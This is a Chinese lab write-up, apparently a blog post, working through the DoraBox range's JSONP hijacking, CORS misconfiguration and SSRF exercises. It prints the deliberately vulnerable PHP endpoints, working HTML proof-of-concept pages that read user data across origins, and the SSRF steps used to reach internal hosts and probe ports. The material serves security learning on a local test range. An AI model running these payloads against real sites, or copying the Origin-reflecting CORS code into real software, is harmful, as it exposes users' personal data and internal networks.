DoraBox-CSRF SSRF

0x00 基础知识

之前做DVWA时用的都是写入型的CSRF,这次又学习到了新的东西,可以的,开心。
先了解什么是JSONP,看了几篇文章,看完了才动手做的。


0x01 CSRF JSONP劫持

现在所有支持JavaScript的浏览器都使用同源策略,才诞生了JSONP(JSON with padding),远程调用json文件来实现数据传递的技术,它的特点是可以跨域读取数据。

漏洞分析

在这里插入图片描述
点开以后是一段json的数据,看下php源码。

<?php
        include "../class/function.class.php";
        $reqMethod = "GET";
        $reqValue = "callback";
        $p = new Func($reqMethod, $reqValue);
        $info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
        if(!@$_GET['callback']){
                echo $p -> con_function('json_encode',$info);
        }else{
                $callback = htmlspecialchars($_GET['callback']);
                echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
        }
?>

如果不存在callback,那么就显示json格式的info信息。
在这里插入图片描述
如果存在callback,则将callback实体转换后加上json格式的info再输出,也就是一开始点进去的那个样子。

漏洞利用

由于用了jsonp那就可以进行跨域了,我在本机上开了一个html,内容如下:

//csrf_jsonp.html
<!doctype html>
<html>
<title>test file</title>
<body>
<script>
function test(jsonp){
	document.write(JSON.stringify(jsonp));
}
</script>
<script src="http://192.168.181.250/DoraBox/csrf/jsonp.php?callback=test"></script>
</body>
</html>

这个是借助了作者提供的poc来完成的,之前并没有接触过,慢慢积累吧。
我在本机上访问这个页面,访问后这个脚本就会去访问192.168.181.250,这个时候另一个是127.0.0.1属于不同源了,但是通过了jsonp还是传过来,并且显示在了网站当中。
在这里插入图片描述


0x02 CSRF CORS跨域资源读

学这些,头真的疼。。。
CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。它允许浏览器向跨源服务器发出XMLHttpRequest请求,从而解决AJAX只能同源使用的限制。

漏洞分析

在这里插入图片描述
和刚刚的有点像,返回的也是json格式的代码。但是和刚刚的JSONP劫持不太一样,代看源码

<?php
        if (@$_SERVER['HTTP_ORIGIN']){
                header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);
        }else{
                header("Access-Control-Allow-Origin: *");
        }
        header("Access-Control-Allow-Headers: X-Requested-With");
        header("Access-Control-Allow-Credentials: true");
        header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");

        $info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
        echo json_encode($info);
?>

会发现这里是先判断有没有http_origin,如果有就允许此origin,如果没有则允许所有的origin,这个就是CORS的关键,此字段只会存在于CORS中。然后输入出一段json的信息。
在这里插入图片描述

漏洞利用

去看了下作者写的Poc,写的php文件,看起来很复杂,就没看下去了。。。
于是自己网上找了段发送ajax的代码,胡乱改了下,没想到直接成功了,,,,

<!doctype html>
<html>
<title>test file cors</title>
<body>
<script>
function sendAjax() {
  //构造表单数据
  //var formData = new FormData();
  //formData.append('username', 'johndoe');
  //formData.append('id', 123456);
  //创建xhr对象 
  var xhr = new XMLHttpRequest();
  //设置xhr请求的超时时间
  xhr.timeout = 3000;
  //设置响应返回的数据格式
  xhr.responseType = "text";
  //创建一个 GET 请求,采用异步
  xhr.open('GET', 'http://192.168.181.250/DoraBox/csrf/userinfo.php', true);
  //注册相关事件回调处理函数
  xhr.onload = function(e) { 
    if(this.status == 200||this.status == 304){
        //document.write(this.responseText);
		alert(this.responseText);
    }
  };
  //xhr.ontimeout = function(e) { ... };
  //xhr.onerror = function(e) { ... };
  //xhr.upload.onprogress = function(e) { ... };
  
  //发送数据
  //xhr.send(formData);
  xhr.send();
}
sendAjax();
</script>
</body>
</html>
<hr>

然后本机去访问此链接就可以了。
在这里插入图片描述
还是回头来看看作者的Poc吧,不然感觉总是少了点什么。。。

<!DOCTYPE html>
<html>
<head>
        <title>CORS PoC</title>
</head>
<body>
<center>
        GET Request
        <form action="./get.php">
                URL: <input type="text" name="url"><br>
                <input type="submit" value="Attack">
        </form>
        <br><br>
        POST Request
        <form action="./post.php" id="postform">
                URL: <input type="text" name="url"><br>
                Data: <br><textarea rows="4" cols="50" name="data" form="postform"></textarea><br>
                <input type="submit" value="Attack">
        </form>
</center>
</body>
</html>

先是一个静态网页,然后可以选择postget方式来触发cors
在这里插入图片描述
最后和我自己弄的html没啥区别。。。
在这里插入图片描述
作者弄两个的意思大概是jsonp只能用一个get方法,而不能用post,而cosf两种方法都能使用吧。


0x03 SSRF

漏洞分析

SSRF之前玩Pikachu的时候做过了,和CSRF的区别还是比较明显的,这个看起来和文件包含比较类似,利用服务器来进行攻击,常用危害的就是读文件,内网扫描,访问内网程序,进行内网渗透等。

漏洞利用

在这里插入图片描述
输入1后报错了,得知用的是file_get_contents()函数。一般用于包含文件使用。
这里构造http://192.168.181.1/phpinfo.php,注意192.168.181.1和靶场192.168.181.150是同一网段的,是内网主机(192.168.181.1就是我本机。。。 ),访问即可。
在这里插入图片描述
再来一个端口扫描,8000端口连接超时。
在这里插入图片描述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值